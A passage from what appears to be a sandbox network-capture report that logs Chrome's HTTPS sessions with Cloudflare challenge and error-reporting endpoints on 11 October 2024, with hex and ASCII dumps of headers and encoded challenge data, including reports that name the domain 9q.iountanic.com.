2024-10-11 13:53:50 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:50 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8d0f56b0acf1726b-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:50 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49724	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:50 UTC	924	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2807 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: f3abe9e63e0e531 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:50 UTC	2807	OUT	Data Raw: 76 5f 38 64 30 66 35 36 61 37 30 63 61 64 63 33 66 66 3d 59 66 32 31 6a 31 4f 31 75 31 6b 31 49 31 7a 6b 73 75 6b 73 6c 5a 7a 6c 7a 55 77 6d 33 73 45 73 38 41 31 75 6c 31 73 78 6d 73 67 38 31 54 44 73 42 54 32 73 63 4c 35 32 5a 73 55 25 32 62 32 73 62 31 58 6c 73 47 73 58 66 7a 64 6f 64 33 44 7a 63 35 51 31 73 54 73 2d 76 56 32 52 38 73 34 35 7a 45 73 4d 4d 64 59 38 4d 31 32 54 78 73 56 6a 64 48 55 73 57 6f 76 61 69 73 54 31 67 4d 73 56 2d 31 7a 55 73 45 68 44 6f 4c 4e 56 71 6c 2d 42 74 76 41 31 73 32 5a 73 30 45 52 78 65 2b 73 2d 35 73 2d 78 33 54 73 52 73 69 39 6c 4d 4d 67 4d 73 34 61 6c 6c 70 35 73 38 7a 77 35 73 52 35 31 6b 73 4e 33 73 45 35 31 73 57 57 55 24 73 58 42 6c 46 65 6c 66 58 32 73 59 73 2b 38 78 61 51 33 24 32 35 73 57 45 4a 61 76 32 32 7a Data Ascii: v_8d0f56a70cadc3ff=Yf21j1O1u1k1I1zksukslZzlzUwm3sEs8A1ul1sxmsg81TDsBT2scL52ZsU%2b2sb1XlsGsXfzdod3Dzc5Q1sTs-vV2R8s45zEsMMdY8M12TxsVjdHUsWovaisT1gMsV-1zUsEhDoLNVql-BtvA1s2Zs0ERxe+s-5s-x3TsRsi9lMMgMs4allp5s8zw5sR51ksN3sE51sWWU$sXBlFelfX2sYs+8xaQ3$25sWEJav22z
2024-10-11 13:53:50 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:50 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152088 Connection: close cf-chl-gen: OOc/D+XJS1HZ/68gttGGX+xhJi3C4QUguxT6YBnfB2Zd5vRMQaT/mvoUFkx9xUBTD6BiipWJYSad3QIpFKUzPQyoJd0KgvAItYerkBIJKE0m1JRV5U/jh8mD6xiH1PVGQ3QQCXBE47ld2D9MuxolMCWS3pRCNU7aIXFs2cJnubd40xYjNhWyrWZLRUGkfDYsT2CMlC/K3qpR7dk0sfSWJKFJL8EuoyE4g5ZnYCGctnVmcfrVvRMcgogWN3gDXfEHpsM2TkMHAH9NpEUnSPeee+iJCCh5eSUi8oNxW/ru+7yl0mwyB0s2/omE7fYpzfQuDhiRlUU4LhyN117H3L/GJw5ptpvGPUY7M6938ug4YbIsLeGXdUOYKbPpIZo76QJB3vajTK54vjhkdwrKualqDKPxlnqsxgntq1WPjjBRoZWMxmoTH2frFDGQz7sDDCTLwzuM0e074wAjszvldDUYXZGFqlPL/mfHNVu3KLxpqU2fZSM=$uSLl0xwDdUuQsgYK Server: cloudflare CF-RAY: 8d0f56b16f1c7d1a-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:50 UTC	622	IN	Data Raw: 66 6d 64 70 67 32 71 45 54 49 35 72 59 33 64 72 6d 6f 75 48 63 6e 47 68 62 57 74 32 66 6f 61 51 70 49 4f 49 6e 32 47 44 65 4b 35 76 5a 6d 74 74 63 6f 42 76 62 59 69 35 71 36 61 4e 75 33 79 65 71 4a 42 37 77 35 54 46 75 36 53 64 75 49 44 4a 76 4c 6d 64 77 36 61 62 71 64 4b 6c 72 4d 65 76 77 4c 69 54 32 61 7a 64 75 64 57 78 34 63 2f 64 75 61 36 63 31 72 6e 44 70 72 2b 7a 74 74 65 6f 75 62 76 76 71 4c 32 2f 38 2f 58 4d 30 4f 65 31 7a 64 61 32 30 37 55 42 36 37 37 54 38 73 44 52 33 73 4c 54 33 38 48 38 39 38 7a 6d 32 77 44 4d 35 74 38 45 7a 75 34 52 2b 52 55 4f 2f 65 2f 77 41 50 76 76 48 76 72 64 42 42 54 33 4b 41 54 6c 2f 41 34 68 2f 51 37 2b 2b 68 41 53 41 6a 45 66 46 52 66 78 46 42 67 76 50 7a 6f 74 4c 66 50 37 48 2f 59 64 49 7a 55 62 4b 55 46 4b 4e 79 39 Data Ascii: fmdpg2qETI5rY3drmouHcnGhbWt2foaQpIOIn2GDeK5vZmttcoBvbYi5q6aNu3yeqJB7w5TFu6SduIDJvLmdw6abqdKlrMevwLiT2azdudWx4c/dua6c1rnDpr+ztteoubvvqL2/8/XM0Oe1zda207UB677T8sDR3sLT38H898zm2wDM5t8Ezu4R+RUO/e/wAPvvHvrdBBT3KATl/A4h/Q7++hASAjEfFRfxFBgvPzotLfP7H/YdIzUbKUFKNy9
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 6b 37 48 55 51 66 5a 43 63 6f 53 30 45 70 4f 46 6b 72 53 44 30 2f 4d 55 64 31 64 54 4e 51 56 54 5a 6b 55 46 34 35 64 54 68 37 50 30 78 54 52 58 42 56 59 6b 5a 66 52 46 39 58 67 58 31 6c 66 32 78 4c 56 4a 46 31 59 35 57 62 56 5a 65 4e 62 6d 36 42 6e 57 36 69 64 4a 47 62 6e 48 52 6a 58 48 79 57 6a 57 65 5a 71 58 39 79 72 71 79 74 6a 71 79 78 6a 33 71 76 6a 36 69 51 6d 5a 43 54 71 6e 79 52 6b 4b 62 48 78 33 75 54 6d 72 6a 4d 7a 62 69 76 76 72 75 39 70 64 61 69 77 37 4f 36 7a 72 66 45 76 5a 36 2b 77 61 72 68 32 63 32 77 76 39 58 51 34 64 58 47 32 4a 2f 59 33 75 6d 6f 78 65 2f 78 33 73 54 79 71 76 62 4d 39 37 50 71 30 50 73 43 37 74 51 41 42 66 4c 59 42 41 6a 32 33 41 6a 48 2b 75 41 4d 79 76 37 6b 45 4d 30 44 36 42 54 51 42 2b 77 59 46 77 76 77 48 42 6b 61 41 Data Ascii: k7HUQfZCcoS0EpOFkrSD0/MUd1dTNQVTZkUF45dTh7P0xTRXBVYkZfRF9XgX1lf2xLVJF1Y5WbVZeNbm6BnW6idJGbnHRjXHyWjWeZqX9yrqytjqyxj3qvj6iQmZCTqnyRkKbHx3uTmrjMzbivvru9pdaiw7O6zrfEvZ6+warh2c2wv9XQ4dXG2J/Y3umoxe/x3sTyqvbM97Pq0PsC7tQABfLYBAj23AjH+uAMyv7kEM0D6BTQB+wYFwvwHBkaA
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 34 57 6a 6b 72 57 6d 77 70 4c 30 64 67 55 31 56 69 63 54 4a 4b 52 57 30 36 55 47 38 2b 66 46 4b 44 4f 6c 6c 59 64 6b 61 41 59 48 70 6e 54 49 46 76 66 6f 71 4e 54 58 31 2f 6b 6e 52 50 68 6b 74 4d 65 35 61 46 57 48 31 66 6d 56 2b 69 59 35 31 6a 6e 35 2b 61 67 35 65 71 67 32 56 34 67 49 75 6f 74 4b 32 6e 71 4c 69 46 6a 4c 71 4c 66 48 53 70 74 36 75 72 66 4c 6d 76 67 38 4f 39 73 34 65 33 77 62 65 4d 6c 73 75 35 79 36 71 62 73 64 54 55 77 62 6d 6c 79 36 65 62 74 4b 71 63 72 72 53 72 6f 72 2f 56 33 2b 66 41 31 38 57 35 35 39 69 6e 33 75 33 53 30 4f 4f 38 78 75 72 6d 37 65 4c 76 39 72 71 32 33 76 6f 41 2b 4c 33 6a 2b 39 63 48 76 76 4d 48 36 4d 50 36 76 38 44 35 43 2f 6e 4d 2b 39 4d 4f 31 50 54 58 45 74 63 62 32 78 62 62 47 42 67 54 2b 78 41 6a 2b 39 33 77 2b 41 Data Ascii: 4WjkrWmwpL0dgU1VicTJKRW06UG8+fFKDOllYdkaAYHpnTIFvfoqNTX1/knRPhktMe5aFWH1fmV+iY51jn5+ag5eqg2V4gIuotK2nqLiFjLqLfHSpt6urfLmvg8O9s4e3wbeMlsu5y6qbsdTUwbmly6ebtKqcrrSror/V3+fA18W559in3u3S0OO8xurm7eLv9rq23voA+L3j+9cHvvMH6MP6v8D5C/nM+9MO1PTXEtcb2xbbGBgT+xAj+93w+A
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 49 79 73 79 4b 6d 56 53 62 33 5a 68 52 6c 70 33 4f 6e 35 72 57 6e 64 76 53 31 46 54 52 58 52 79 51 58 57 45 5a 30 52 57 57 57 69 45 55 6e 4e 7a 69 34 68 7a 61 4a 68 61 6e 49 74 64 69 6c 32 64 57 70 69 69 6e 35 46 6a 6b 35 36 6c 66 4a 2b 6a 71 59 43 72 71 36 71 72 6e 37 53 75 69 48 43 34 74 70 47 6a 65 37 6d 52 71 37 75 37 75 36 2f 41 77 62 36 41 79 4d 57 64 74 5a 32 71 6f 5a 6a 47 71 36 6a 51 7a 74 57 74 30 49 36 73 70 5a 76 4d 76 4b 32 6f 7a 35 69 38 6e 4a 71 67 76 36 62 5a 75 4e 53 7a 33 2b 4c 4b 32 74 72 63 35 61 75 75 33 2b 6e 6c 79 72 62 6c 36 66 69 7a 36 4f 7a 54 79 76 44 61 78 50 32 39 76 63 45 49 36 39 51 41 2f 64 72 36 38 4f 7a 66 7a 2b 6e 2b 38 2b 6a 32 2b 41 34 4c 38 76 6a 33 2f 64 6a 62 48 68 6f 69 48 68 66 65 2b 50 6b 44 35 65 72 6b 4b 68 44 Data Ascii: IysyKmVSb3ZhRlp3On5rWndvS1FTRXRyQXWEZ0RWWWiEUnNzi4hzaJhanItdil2dWpiin5Fjk56lfJ+jqYCrq6qrn7SuiHC4tpGje7mRq7u7u6/Awb6AyMWdtZ2qoZjGq6jQztWt0I6spZvMvK2oz5i8nJqgv6bZuNSz3+LK2trc5auu3+nlyrbl6fiz6OzTyvDaxP29vcEI69QA/dr68Ozfz+n+8+j2+A4L8vj3/djbHhoiHhfe+PkD5erkKhD
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 7a 64 78 4f 47 59 37 64 54 78 67 50 33 6c 41 59 45 4e 39 51 34 5a 48 67 55 65 44 67 33 35 6e 65 34 35 6e 53 56 78 6b 62 34 79 59 6b 59 75 55 65 6e 31 78 6e 31 71 62 6e 34 79 63 6a 33 6d 6e 6e 5a 4e 6e 70 36 47 58 61 35 75 6c 6d 33 43 4a 71 5a 39 7a 62 4b 32 6a 64 72 65 78 70 33 71 72 74 61 74 2f 6d 62 6d 76 67 6f 53 57 70 4b 53 36 74 36 62 44 75 73 57 64 6d 36 62 41 77 59 37 52 31 4b 7a 42 78 62 76 57 6d 72 4c 4f 31 39 69 64 31 39 4f 69 31 4d 4f 31 36 4b 71 68 76 61 62 44 75 4f 76 5a 79 4b 57 75 77 4f 4f 76 39 63 76 6c 73 39 6a 64 36 50 4c 63 2b 37 76 67 30 62 66 64 38 64 72 48 33 51 6a 64 33 4f 33 6e 38 64 6e 39 43 41 7a 77 34 67 66 56 42 4e 54 70 44 76 7a 6f 47 74 66 58 39 43 41 6d 45 2f 67 6b 4b 52 66 38 4b 43 77 62 41 53 7a 72 48 77 55 77 37 69 4d 4a Data Ascii: zdxOGY7dTxgP3lAYEN9Q4ZHgUeDg35ne45nSVxkb4yYkYuUen1xn1qbn4ycj3mnnZNnp6GXa5ulm3CJqZ9zbK2jdrexp3qrtat/mbmvgoSWpKS6t6bDusWdm6bAwY7R1KzBxbvWmrLO19id19Oi1MO16KqhvabDuOvZyKWuwOOv9cvls9jd6PLc+7vg0bfd8drH3Qjd3O3n8dn9CAzw4gfVBNTpDvzoGtfX9CAmE/gkKRf8KCwbASzrHwUw7iMJ
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 64 72 66 6c 63 35 54 46 52 66 66 49 69 42 65 33 35 62 54 45 56 4f 68 33 74 37 63 59 6c 2f 56 45 79 4e 67 31 65 58 6b 59 64 5a 58 47 36 41 66 4a 4b 50 67 70 75 53 6e 58 56 7a 66 70 69 5a 5a 36 68 2b 67 5a 6d 64 6b 37 4a 79 69 71 61 7a 6d 4b 4f 74 75 61 69 33 75 71 2b 71 74 49 4f 36 75 59 4b 51 6e 49 61 41 70 34 76 46 69 38 36 50 79 59 2f 4c 79 38 61 76 77 39 61 76 6b 61 53 73 74 39 54 67 32 64 50 63 33 4d 2b 36 35 39 33 54 71 4e 66 68 31 36 79 6b 35 64 75 76 37 2b 6e 66 73 2b 50 74 34 37 6a 52 38 65 65 37 74 50 58 72 76 67 44 35 37 38 4c 7a 2f 66 50 48 34 51 4c 33 79 73 51 47 2b 38 30 41 43 67 44 53 37 51 34 45 31 64 41 53 43 4e 67 63 46 67 7a 64 2b 52 6f 51 34 4f 54 32 2b 41 55 6d 35 4f 77 42 36 41 38 47 34 2b 76 79 37 41 63 72 39 54 51 7a 4a 69 34 53 2b Data Ascii: drflc5TFRffIiBe35bTEVOh3t7cYl/VEyNg1eXkYdZXG6AfJKPgpuSnXVzfpiZZ6h+gZmdk7JyiqazmKOtuai3uq+qtIO6uYKQnIaAp4vFi86PyY/Ly8avw9avkaSst9Tg2dPc3M+6593TqNfh16yk5duv7+nfs+Pt47jR8ee7tPXrvgD578Lz/fPH4QL3ysQG+80ACgDS7Q4E1dASCNgcFgzd+RoQ4OT2+AUm5OwB6A8G4+vy7Acr9TQzJi4S+
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 66 67 54 36 4a 58 33 6c 46 69 49 64 35 66 6d 5a 69 54 6e 75 44 55 6f 52 7a 61 4a 68 61 55 58 6c 57 64 47 69 58 57 5a 4e 75 6d 71 56 30 59 4a 32 62 6f 6e 71 6b 64 6f 61 67 66 32 75 4a 6b 6d 39 39 68 71 2b 4a 62 37 47 6f 6d 6f 70 38 65 59 74 33 6b 35 50 42 6a 34 2f 42 6c 63 71 67 79 4d 61 6b 6f 4d 76 49 79 62 4b 4b 73 38 2b 68 30 71 43 7a 70 74 4f 77 6d 70 71 76 6e 4a 36 36 74 37 71 6a 76 72 4f 36 6f 38 57 2f 71 62 7a 61 72 61 33 41 33 71 7a 7a 72 63 4b 79 37 65 33 4d 79 76 54 47 31 76 44 50 75 38 4c 42 7a 51 62 6b 2f 4f 54 63 42 2f 7a 63 39 66 62 37 34 77 6a 2b 43 75 48 65 31 51 55 47 30 78 58 71 37 66 51 4b 36 68 54 37 41 42 51 6b 42 39 30 5a 49 69 4c 6e 47 43 63 66 4d 41 30 53 4d 2b 34 65 46 41 4d 4a 49 7a 58 79 43 44 63 4c 4c 78 55 39 2b 42 6b 56 51 44 Data Ascii: fgT6JX3lFiId5fmZiTnuDUoRzaJhaUXlWdGiXWZNumqV0YJ2bonqkdoagf2uJkm99hq+Jb7Gomop8eYt3k5PBj4/BlcqgyMakoMvIybKKs8+h0qCzptOwmpqvnJ66t7qjvrO6o8W/qbzara3A3qzzrcKy7e3MyvTG1vDPu8LBzQbk/OTcB/zc9fb74wj+CuHe1QUG0xXq7fQK6hT7ABQkB90ZIiLnGCcfMA0SM+4eFAMJIzXyCDcLLxU9+BkVQD
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 58 48 6d 43 69 57 5a 6b 53 6b 56 79 68 46 56 6b 6b 57 53 51 6d 35 75 59 56 4a 78 77 61 6d 43 66 6f 5a 43 66 6b 58 4b 71 70 46 31 6f 70 32 53 6a 59 72 4b 73 6b 33 36 73 6b 57 2b 43 70 61 36 6b 75 62 4b 50 69 36 2b 42 6a 61 32 2b 6a 72 5a 2b 6c 35 47 36 75 6f 6d 48 7a 70 75 6c 7a 63 4b 78 76 62 48 4a 6b 38 79 30 75 74 6a 51 31 64 36 72 7a 35 37 6a 7a 64 36 32 77 4b 4c 64 76 62 57 69 32 38 36 71 33 72 6d 73 34 4c 44 48 76 63 37 45 38 61 2b 33 32 4f 6e 4e 31 37 69 39 75 38 44 6b 76 67 62 47 75 63 50 30 79 65 50 69 44 38 77 4d 45 4e 6e 78 36 4f 49 49 46 75 67 46 79 39 72 58 47 39 58 2b 43 67 77 61 42 41 54 69 47 76 7a 6c 4a 2b 55 58 34 66 55 6e 36 54 45 6a 44 42 30 75 46 41 41 50 4c 67 30 45 42 44 6f 47 46 78 33 36 4c 52 41 4c 41 52 45 45 48 79 41 47 4a 66 77 Data Ascii: XHmCiWZkSkVyhFVkkWSQm5uYVJxwamCfoZCfkXKqpF1op2SjYrKsk36skW+Cpa6kubKPi6+Bja2+jrZ+l5G6uomHzpulzcKxvbHJk8y0utjQ1d6rz57jzd62wKLdvbWi286q3rms4LDHvc7E8a+32OnN17i9u8DkvgbGucP0yePiD8wMENnx6OIIFugFy9rXG9X+CgwaBATiGvzlJ+UX4fUn6TEjDB0uFAAPLg0EBDoGFx36LRALAREEHyAGJfw
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 47 42 71 63 5a 52 6b 59 33 4b 56 64 59 56 33 6c 57 2b 55 6d 70 32 56 70 48 53 4f 66 36 57 55 69 6d 47 62 72 6f 75 42 6f 32 4f 63 69 71 2b 68 6f 6d 6c 78 6c 47 79 53 6e 4a 32 6d 6e 72 4b 2f 72 6e 75 43 67 34 53 63 6e 34 57 31 72 49 75 6f 77 5a 75 5a 76 4b 57 2f 79 38 33 50 31 38 6a 51 6c 36 66 48 32 62 69 66 6d 4e 4b 55 75 73 54 46 77 71 50 44 6d 36 71 68 36 2b 6e 68 7a 76 43 36 38 72 76 72 79 65 6e 68 77 4d 50 77 39 73 6e 47 7a 72 58 64 31 4c 76 51 32 62 7a 32 35 73 51 49 76 4d 50 49 79 38 7a 77 35 38 7a 53 41 77 51 4e 41 2f 4c 68 31 2f 6b 5a 47 68 6e 71 31 52 54 5a 47 43 50 36 41 76 37 30 33 79 58 6e 4a 43 55 72 46 79 67 6d 41 52 77 6d 4d 69 45 58 37 53 72 79 43 51 6b 54 47 6a 30 4e 44 50 63 41 4c 6a 41 39 45 51 67 42 4f 2f 77 62 49 69 70 48 4c 77 31 51 Data Ascii: GBqcZRkY3KVdYV3lW+Ump2VpHSOf6WUimGbrouBo2Ociq+homlxlGySnJ2mnrK/rnuCg4Scn4W1rIuowZuZvKW/y83P18jQl6fH2bifmNKUusTFwqPDm6qh6+nhzvC68rvryenhwMPw9snGzrXd1LvQ2bz25sQIvMPIy8zw58zSAwQNA/Lh1/kZGhnq1RTZGCP6Av703yXnJCUrFygmARwmMiEX7SryCQkTGj0NDPcALjA9EQgBO/wbIipHLw1Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49723	35.190.80.1	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:50 UTC	541	OUT	OPTIONS /report/v4?s=5xJ5G3j67gd9uRnLQr%2B9b1d%2FtkLoeQd%2BeM2Q9%2Fb5F4eI4n7FRSEiLgaTwq3bxzR9qCE%2F4KaAiZVQLQq1qANIt26%2BfP5j2iDFwSvMiE9W1eTJjR0RAt6FI3dg3GoNgA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://9q.iountanic.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:50 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 11 Oct 2024 13:53:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49727	35.190.80.1	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:51 UTC	482	OUT	POST /report/v4?s=5xJ5G3j67gd9uRnLQr%2B9b1d%2FtkLoeQd%2BeM2Q9%2Fb5F4eI4n7FRSEiLgaTwq3bxzR9qCE%2F4KaAiZVQLQq1qANIt26%2BfP5j2iDFwSvMiE9W1eTJjR0RAt6FI3dg3GoNgA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 428 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:51 UTC	428	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 39 71 2e 69 6f 75 6e 74 61 6e 69 63 2e 63 6f 6d 2f 34 72 47 72 61 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 38 2e 31 30 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c Data Ascii: [{"age":0,"body":{"elapsed_time":107,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://9q.iountanic.com/4rGra/","sampling_fraction":1.0,"server_ip":"104.21.68.104","status_code":404,"type":"http.error"},"type":"network-error",
2024-10-11 13:53:51 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 11 Oct 2024 13:53:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49728	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:51 UTC	485	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/45662806:1728652483:UESNLT3H3QxqO_wId2lAkhZLoYB2rUVT4FgDxeg5U30/8d0f56a70cadc3ff/f3abe9e63e0e531 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:51 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 11 Oct 2024 13:53:51 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: nHSYr65rgW+IZoKVFWd3AT1ANwXP0Ar58Dw=$LhDqG1+s6GuD9N8S Server: cloudflare CF-RAY: 8d0f56b71ae341f2-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:51 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49729	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:51 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8d0f56a70cadc3ff/1728654830319/ed0dfd9d95f03a14d7f4f65d6e79c89bcf16f1c60c7616b4771f0c4404addab0/QyWZqM6CsEeF5Ob HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:51 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 11 Oct 2024 13:53:51 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-11 13:53:51 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 37 51 33 39 6e 5a 58 77 4f 68 54 58 39 50 5a 64 62 6e 6e 49 6d 38 38 57 38 63 59 4d 64 68 61 30 64 78 38 4d 52 41 53 74 32 72 41 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g7Q39nZXwOhTX9PZdbnnIm88W8cYMdha0dx8MRASt2rAAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-11 13:53:51 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49730	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:52 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d0f56a70cadc3ff/1728654830321/Brmsrk1UDqp3rhl HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: 